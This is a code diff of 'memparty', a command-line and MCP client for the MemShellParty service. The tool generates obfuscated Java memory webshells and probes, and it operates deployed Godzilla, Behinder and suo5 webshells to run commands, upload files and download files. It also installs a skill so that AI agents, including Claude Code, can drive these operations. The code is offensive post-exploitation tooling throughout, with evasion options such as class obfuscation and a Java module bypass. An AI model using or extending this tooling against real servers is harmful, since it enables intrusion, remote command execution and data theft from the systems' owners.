+ const hasPluginOptions = args.toolOptions !== void 0 || args.toolOptionJson !== void 0;
5118
+ const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];
5119
+ const shellToolParams = hasPluginOptions ? toolConfigs.find((config) => config.tool === args.shellTool)?.params : void 0;
5120
+ const shellToolConfig = {
5121
+ ...args.toolOptions,
5122
+ ...parseShellToolConfig(
5123
+ Object.entries(args.toolOptionJson ?? {}).map(([name, value]) => `${name}=${value}`),
5124
+ shellToolParams
5125
+ )
5126
+ };
5127
+ const response = await client.generateMemShell(
5128
+ buildMemShellRequest({
5129
+ ...args,
5130
+ shellToolConfig: hasPluginOptions ? shellToolConfig : void 0,
5131
+ shellToolParams,
5132
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
5133
+ })
5134
+ );
4349
5135
  const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
4350
5136
  logOp({
4351
5137
  category: "gen",
@@ -4355,7 +5141,14 @@ function createMcpServer(client) {
4355
5141
  detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
4356
5142
  meta
4357
5143
  });
4358
- return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
5144
+ return jsonContent({
5145
+ ...response,
5146
+ ...outputFile === void 0 ? {} : { outputFile },
5147
+ ...args.agentArgs === void 0 ? {} : {
5148
+ agentArgs: args.agentArgs,
5149
+ agentLoadExamples: agentLoadExamples(args.agentArgs)
5150
+ }
5151
+ });
4359
5152
  } catch (err) {
4360
5153
  logOp({
4361
5154
  category: "gen",
@@ -4385,7 +5178,12 @@ function createMcpServer(client) {
4385
5178
  };
4386
5179
  const started = Date.now();
4387
5180
  try {
4388
- const response = await client.generateProbe(buildProbeRequest(args));
5181
+ const response = await client.generateProbe(
5182
+ buildProbeRequest({
5183
+ ...args,
5184
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
5185
+ })
5186
+ );
4389
5187
  const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
4390
5188
  logOp({
4391
5189
  category: "probe",
@@ -4451,29 +5249,19 @@ function createMcpServer(client) {
4451
5249
  key: args.key,
4452
5250
  headerName: args.headerName,
4453
5251
  headerValue: args.headerValue,
4454
- insecure: args.insecure
5252
+ insecure: args.insecure,
5253
+ upgradeProtocol: args.upgradeProtocol
4455
5254
  });
4456
5255
  const common = {
4457
5256
  headerName: conn.headerName,
4458
5257
  headerValue: conn.headerValue,
4459
5258
  extraHeaders: conn.extraHeaders,
4460
5259
  timeoutMs: args.timeoutMs,
4461
- insecure: conn.insecure
5260
+ insecure: conn.insecure,
5261
+ upgradeProtocol: conn.upgradeProtocol
4462
5262
  };
4463
- let result;
4464
- switch (conn.tool) {
4465
- case "godzilla":
4466
- result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
4467
- break;
4468
- case "behinder":
4469
- result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
4470
- break;
4471
- case "suo5":
4472
- result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
4473
- break;
4474
- default:
4475
- throw new Error(`unknown tool ${String(conn.tool)}`);
4476
- }
5263
+ const options = { suo5Mode: args.suo5Mode };
5264
+ const result = await requireProtocol(conn.tool).test({ conn, common, options });
4477
5265
  let savedAs;
4478
5266
  if (result.ok && conn.targetName === void 0) {
4479
5267
  savedAs = autoSaveShell(conn);
@@ -4512,32 +5300,20 @@ function createMcpServer(client) {
4512
5300
  key: args.key,
4513
5301
  headerName: args.headerName,
4514
5302
  headerValue: args.headerValue,
4515
- insecure: args.insecure
5303
+ insecure: args.insecure,
5304
+ upgradeProtocol: args.upgradeProtocol
4516
5305
  });
4517
5306
  const common = {
4518
5307
  headerName: conn.headerName,
4519
5308
  headerValue: conn.headerValue,
4520
5309
  extraHeaders: conn.extraHeaders,
4521
5310
  timeoutMs: args.timeoutMs,
4522
- insecure: conn.insecure
5311
+ insecure: conn.insecure,
5312
+ upgradeProtocol: conn.upgradeProtocol
4523
5313
  };
4524
- let result;
4525
- switch (conn.tool) {
4526
- case "godzilla":
4527
- result = await execGodzilla(
4528
- conn.url,
4529
- conn.pass ?? "pass",
4530
- conn.key ?? "key",
4531
- args.command,
4532
- { ...common, os: args.os }
4533
- );
4534
- break;
4535
- case "behinder":
4536
- result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
4537
- break;
4538
- default:
4539
- throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
4540
- }
5314
+ const protocol = requireProtocol(conn.tool);
5315
+ if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
5316
+ const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
4541
5317
  let savedAs;
4542
5318
  if (result.ok && conn.targetName === void 0) {
4543
5319
  savedAs = autoSaveShell(conn);
@@ -4579,38 +5355,24 @@ function createMcpServer(client) {
4579
5355
  key: args.key,
4580
5356
  headerName: args.headerName,
4581
5357
  headerValue: args.headerValue,
4582
- insecure: args.insecure
5358
+ insecure: args.insecure,
5359
+ upgradeProtocol: args.upgradeProtocol
4583
5360
  });
4584
5361
  const common = {
4585
5362
  headerName: conn.headerName,
4586
5363
  headerValue: conn.headerValue,
4587
5364
  extraHeaders: conn.extraHeaders,
4588
5365
  timeoutMs: args.timeoutMs,
4589
- insecure: conn.insecure
5366
+ insecure: conn.insecure,
5367
+ upgradeProtocol: conn.upgradeProtocol
4590
5368
  };
4591
5369
  const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
4592
- let result;
4593
- switch (conn.tool) {
4594
- case "godzilla":
4595
- result = await downloadGodzilla(
4596
- conn.url,
4597
- conn.pass ?? "pass",
4598
- conn.key ?? "key",
4599
- args.remotePath,
4600
- { ...common, remoteCharset: args.remoteCharset }
4601
- );
4602
- break;
4603
- case "behinder":
4604
- result = await downloadBehinder(
4605
- conn.url,
4606
- conn.pass ?? "rebeyond",
4607
- args.remotePath,
4608
- common
4609
- );
4610
- break;
4611
- default:
4612
- throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
4613
- }
5370
+ const protocol = requireProtocol(conn.tool);
5371
+ if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
5372
+ let result = await protocol.download(
5373
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
5374
+ args.remotePath
5375
+ );
4614
5376
  if (result.ok && result.data !== void 0) {
4615
5377
  try {
4616
5378
  writeFileSync5(localPath, result.data);
@@ -4662,40 +5424,25 @@ function createMcpServer(client) {
4662
5424
  key: args.key,
4663
5425
  headerName: args.headerName,
4664
5426
  headerValue: args.headerValue,
4665
- insecure: args.insecure
5427
+ insecure: args.insecure,
5428
+ upgradeProtocol: args.upgradeProtocol
4666
5429
  });
4667
5430
  const common = {
4668
5431
  headerName: conn.headerName,
4669
5432
  headerValue: conn.headerValue,
4670
5433
  extraHeaders: conn.extraHeaders,
4671
5434
  timeoutMs: args.timeoutMs,
4672
- insecure: conn.insecure
5435
+ insecure: conn.insecure,
5436
+ upgradeProtocol: conn.upgradeProtocol
4673
5437
  };
4674
5438
  const data = readUploadFile(args.localPath);
4675
- let result;
4676
- switch (conn.tool) {
4677
- case "godzilla":
4678
- result = await uploadGodzilla(
4679
- conn.url,
4680
- conn.pass ?? "pass",
4681
- conn.key ?? "key",
4682
- args.remotePath,
4683
- data,
4684
- { ...common, remoteCharset: args.remoteCharset }
4685
- );
4686
- break;
4687
- case "behinder":
4688
- result = await uploadBehinder(
4689
- conn.url,
4690
- conn.pass ?? "rebeyond",
4691
- args.remotePath,
4692
- data,
4693
- common
4694
- );
4695
- break;
4696
- default:
4697
- throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
4698
- }
5439
+ const protocol = requireProtocol(conn.tool);
5440
+ if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
5441
+ const result = await protocol.upload(
5442
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
5443
+ args.remotePath,
5444
+ data
5445
+ );
4699
5446
  let savedAs;
4700
5447
  if (result.ok && conn.targetName === void 0) {
4701
5448
  savedAs = autoSaveShell(conn);
@@ -4742,6 +5489,7 @@ function createMcpServer(client) {
4742
5489
  headerName: args.headerName,
4743
5490
  headerValue: args.headerValue,
4744
5491
  insecure: args.insecure,
5492
+ upgradeProtocol: args.upgradeProtocol,
4745
5493
  remark: args.shellRemark
4746
5494
  });
4747
5495
  logOp({
@@ -4906,7 +5654,7 @@ function registerMcpCommand(program) {
4906
5654
  }
4907
5655
 
4908
5656
  // src/commands/parse-classname.ts
4909
- import { readFileSync as readFileSync9 } from "fs";
5657
+ import { readFileSync as readFileSync10 } from "fs";
4910
5658
  function registerParseClassNameCommand(program) {
4911
5659
  program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
4912
5660
  "after",
@@ -4919,7 +5667,7 @@ Examples:
4919
5667
  ).action(async (base64, opts, cmd) => {
4920
5668
  let classBase64;
4921
5669
  if (opts.file) {
4922
- classBase64 = readFileSync9(opts.file).toString("base64");
5670
+ classBase64 = readFileSync10(opts.file).toString("base64");
4923
5671
  } else if (base64) {
4924
5672
  classBase64 = base64.trim();
4925
5673
  } else {
@@ -4933,7 +5681,7 @@ Examples:
4933
5681
  }
4934
5682
 
4935
5683
  // src/commands/probe.ts
4936
- import { Option as Option5 } from "commander";
5684
+ import { Option as Option6 } from "commander";
4937
5685
 
4938
5686
  // src/wizard/probe-wizard.ts
4939
5687
  import { checkbox as checkbox2, confirm as confirm2, input as input2, select as select2 } from "@inquirer/prompts";
@@ -4941,26 +5689,40 @@ var JDK_CHOICES2 = [
4941
5689
  { name: "server default", value: "" },
4942
5690
  ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name }))
4943
5691
  ];
4944
- var PROBE_METHODS = ["ResponseBody", "DNSLog", "Sleep"];
4945
- var PROBE_CONTENTS = ["BasicInfo", "Server", "OS", "JDK", "Bytecode", "Command"];
5692
+ var PROBE_METHODS = ["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"];
5693
+ var PROBE_CONTENTS = {
5694
+ ResponseBody: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
5695
+ ResponseHeader: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
5696
+ DNSLog: ["Server", "JDK"],
5697
+ Sleep: ["Server"]
5698
+ };
4946
5699
  async function runProbeWizard(client) {
4947
- const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
4948
- const servers = Object.keys(config);
5700
+ const [packerTree, discoveredServers, config] = await Promise.all([
5701
+ client.getPackerTree(),
5702
+ client.getProbeResponseServers(),
5703
+ client.getConfig()
5704
+ ]);
5705
+ const servers = discoveredServers.length ? discoveredServers : Object.keys(config);
4949
5706
  const probeMethod = await select2({
4950
5707
  message: "Probe method",
4951
5708
  choices: PROBE_METHODS.map((m) => ({ name: m, value: m }))
4952
5709
  });
4953
5710
  const probeContent = await select2({
4954
5711
  message: "Probe content",
4955
- choices: PROBE_CONTENTS.map((c) => ({ name: c, value: c }))
5712
+ choices: PROBE_CONTENTS[probeMethod].map((content) => ({
5713
+ name: content,
5714
+ value: content
5715
+ }))
4956
5716
  });
4957
- const packer = await select2({
4958
- message: "Packer",
4959
- choices: packerTree.flatMap((p) => [
4960
- { name: p.name, value: p.name },
4961
- ...p.children.map((c) => ({ name: ` ${c}`, value: c }))
4962
- ])
5717
+ const category = await select2({
5718
+ message: "Packer category",
5719
+ choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
4963
5720
  });
5721
+ const selected = packerTree.find((packer2) => packer2.name === category);
5722
+ const packer = selected.children.length ? await select2({
5723
+ message: "Packer variant",
5724
+ choices: selected.children.map((name) => ({ name, value: name }))
5725
+ }) : category;
4964
5726
  const opts = { probeMethod, probeContent, packer };
4965
5727
  switch (probeMethod) {
4966
5728
  case "DNSLog":
@@ -4973,23 +5735,21 @@ async function runProbeWizard(client) {
4973
5735
  });
4974
5736
  opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
4975
5737
  break;
4976
- case "ResponseBody": {
4977
- let responseBodyServers = servers;
4978
- try {
4979
- responseBodyServers = await client.getProbeResponseBodyServers();
4980
- } catch {
4981
- }
5738
+ case "ResponseBody":
5739
+ case "ResponseHeader":
4982
5740
  opts.server = await select2({
4983
5741
  message: "Server",
4984
- choices: responseBodyServers.map((s) => ({ name: s, value: s }))
5742
+ choices: servers.map((s) => ({ name: s, value: s }))
4985
5743
  });
4986
- opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
5744
+ opts.reqParamName = await input2({ message: "Request param/header name", default: "cmd" });
4987
5745
  opts.commandTemplate = await input2({
4988
5746
  message: "Command template (optional, {command} placeholder)",
4989
5747
  default: ""
4990
5748
  });
5749
+ if (probeMethod === "ResponseHeader") {
5750
+ opts.respHeaderName = await input2({ message: "Response header name (optional)", default: "" });
5751
+ }
4991
5752
  break;
4992
- }
4993
5753
  default:
4994
5754
  break;
4995
5755
  }
@@ -5004,7 +5764,8 @@ async function runProbeWizard(client) {
5004
5764
  { name: "static initialize", value: "staticInitialize", checked: true },
5005
5765
  { name: "bypass Java module", value: "byPassJavaModule" },
5006
5766
  { name: "lambda suffix", value: "lambdaSuffix" },
5007
- { name: "debug", value: "debug" }
5767
+ { name: "debug", value: "debug" },
5768
+ { name: "class obfuscation (v3+)", value: "obfuscate" }
5008
5769
  ]
5009
5770
  });
5010
5771
  opts.shrink = toggles.includes("shrink");
@@ -5012,6 +5773,7 @@ async function runProbeWizard(client) {
5012
5773
  opts.byPassJavaModule = toggles.includes("byPassJavaModule");
5013
5774
  opts.lambdaSuffix = toggles.includes("lambdaSuffix");
5014
5775
  opts.debug = toggles.includes("debug");
5776
+ opts.obfuscate = toggles.includes("obfuscate");
5015
5777
  const confirmed = await confirm2({ message: `Generate ${probeMethod} probe (${packer})?` });
5016
5778
  if (!confirmed) throw new Error("Cancelled by user.");
5017
5779
  return opts;
@@ -5029,6 +5791,8 @@ function toOptions2(o) {
5029
5791
  byPassJavaModule: o.bypassModule,
5030
5792
  shrink: o.shrink,
5031
5793
  lambdaSuffix: o.lambdaSuffix,
5794
+ obfuscate: o.obfuscate,
5795
+ obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
5032
5796
  staticInitialize: o.staticInitialize,
5033
5797
  shellClassName: o.shellClassName,
5034
5798
  host: o.host,
@@ -5036,11 +5800,12 @@ function toOptions2(o) {
5036
5800
  sleepServer: o.sleepServer,
5037
5801
  server: o.server,
5038
5802
  reqParamName: o.reqParamName,
5039
- commandTemplate: o.commandTemplate
5803
+ commandTemplate: o.commandTemplate,
5804
+ respHeaderName: o.respHeaderName
5040
5805
  };
5041
5806
  }
5042
5807
  function registerProbeCommand(program) {
5043
- program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
5808
+ program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, ResponseHeader, DNSLog, Sleep").option("-c, --content <content>", "probe content: Server, JDK, Bytecode, Command, ScriptEngine, Filter").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody/ResponseHeader methods; use Unknown if unidentified)").option("--req-param-name <name>", "request param/header name (ResponseBody/ResponseHeader methods)").option("--resp-header-name <name>", "response header name (ResponseHeader method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option6("--decode", "base64-decode the payload before writing")).addOption(new Option6("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
5044
5809
  "after",
5045
5810
  `
5046
5811
  Examples:
@@ -5050,6 +5815,7 @@ Examples:
5050
5815
  $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
5051
5816
  $ memparty probe -m Sleep -c Server -p DefaultBase64 \\
5052
5817
  --sleep-server Tomcat --seconds 5
5818
+ $ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
5053
5819
 
5054
5820
  Note: a probe is a detection shell that reports what the target supports.
5055
5821
  The server name reported by '-c Server' is the value to pass as
@@ -5217,7 +5983,7 @@ ${lines.join("\n")}
5217
5983
  }
5218
5984
 
5219
5985
  // src/commands/skill.ts
5220
- import { Command as Command7 } from "commander";
5986
+ import { Command as Command8 } from "commander";
5221
5987
 
5222
5988
  // src/core/skill-install.ts
5223
5989
  import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
@@ -5261,7 +6027,7 @@ function installSkill(scopes, opts = {}) {
5261
6027
  // src/commands/skill.ts
5262
6028
  function registerSkillCommand(program) {
5263
6029
  program.command("skill").description("Manage the bundled agent skill (skills/memshell-party)").addCommand(
5264
- new Command7("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
6030
+ new Command8("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
5265
6031
  "after",
5266
6032
  `
5267
6033
  The package ships skills/memshell-party/SKILL.md \u2014 the workflow guide that
@@ -5312,7 +6078,7 @@ Examples:
5312
6078
  }
5313
6079
 
5314
6080
  // src/commands/target.ts
5315
- import { Option as Option6 } from "commander";
6081
+ import { Option as Option7 } from "commander";
5316
6082
  function parseExtraHeaders3(lines) {
5317
6083
  const headers = {};
5318
6084
  for (const line of lines ?? []) {
@@ -5362,8 +6128,8 @@ function registerTargetCommand(program) {
5362
6128
  program.command("save").description(
5363
6129
  "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
5364
6130
  ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
5365
- new Option6("-t, --tool <tool>", "shell tool").choices(protocolNames())
5366
- ).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
6131
+ new Option7("-t, --tool <tool>", "shell tool").choices(protocolNames())
6132
+ ).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
5367
6133
  "after",
5368
6134
  `
5369
6135
  Examples:
@@ -5407,6 +6173,7 @@ save is for choosing the name by hand.
5407
6173
  headerValue: opts.headerValue,
5408
6174
  extraHeaders: parseExtraHeaders3(opts.header),
5409
6175
  profile: opts.profile,
6176
+ upgradeProtocol: opts.upgradeProtocol,
5410
6177
  insecure: opts.insecure || void 0,
5411
6178
  remark: opts.shellRemark
5412
6179
  };
@@ -5514,7 +6281,7 @@ save is for choosing the name by hand.
5514
6281
 
5515
6282
  // src/commands/transfer.ts
5516
6283
  import { writeFileSync as writeFileSync6 } from "fs";
5517
- import { Option as Option7 } from "commander";
6284
+ import { Option as Option8 } from "commander";
5518
6285
  function parseExtraHeaders4(lines) {
5519
6286
  const headers = {};
5520
6287
  for (const line of lines ?? []) {
@@ -5537,7 +6304,8 @@ function resolveTransfer(name, opts, timeoutMs) {
5537
6304
  headerName: opts.headerName,
5538
6305
  headerValue: opts.headerValue,
5539
6306
  extraHeaders: parseExtraHeaders4(opts.header),
5540
- insecure: opts.insecure
6307
+ insecure: opts.insecure,
6308
+ upgradeProtocol: opts.upgradeProtocol
5541
6309
  });
5542
6310
  } catch (err) {
5543
6311
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -5551,7 +6319,8 @@ function resolveTransfer(name, opts, timeoutMs) {
5551
6319
  headerValue: conn.headerValue,
5552
6320
  extraHeaders: conn.extraHeaders,
5553
6321
  timeoutMs,
5554
- insecure: conn.insecure
6322
+ insecure: conn.insecure,
6323
+ upgradeProtocol: conn.upgradeProtocol
5555
6324
  }
5556
6325
  };
5557
6326
  }
@@ -5586,8 +6355,8 @@ function printResult(result, localPath, savedAs, json) {
5586
6355
  }
5587
6356
  function registerDownloadCommand(program) {
5588
6357
  program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
5589
- new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
5590
- ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
6358
+ new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
6359
+ ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
5591
6360
  "--remote-charset <label>",
5592
6361
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
5593
6362
  ).option(
@@ -5677,8 +6446,8 @@ is never overwritten unless --force is given.
5677
6446
  }
5678
6447
  function registerUploadCommand(program) {
5679
6448
  program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
5680
- new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
5681
- ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
6449
+ new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
6450
+ ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
5682
6451
  "--remote-charset <label>",
5683
6452
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
5684
6453
  ).option(
@@ -5894,7 +6663,7 @@ async function startRepl(build) {
5894
6663
 
5895
6664
  // src/cli.ts
5896
6665
  function buildProgram() {
5897
- const program = new Command11();
6666
+ const program = new Command12();
5898
6667
  program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
5899
6668
  "--api <url>",
5900
6669
  `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
@@ -5922,6 +6691,7 @@ Every subcommand has its own examples: memparty <command> --help
5922
6691
  registerGenCommand(program);
5923
6692
  registerProbeCommand(program);
5924
6693
  registerConfigCommand(program);
6694
+ registerBytecodeCommand(program);
5925
6695
  registerConnectCommand(program);
5926
6696
  registerExecCommand(program);
5927
6697
  registerDownloadCommand(program);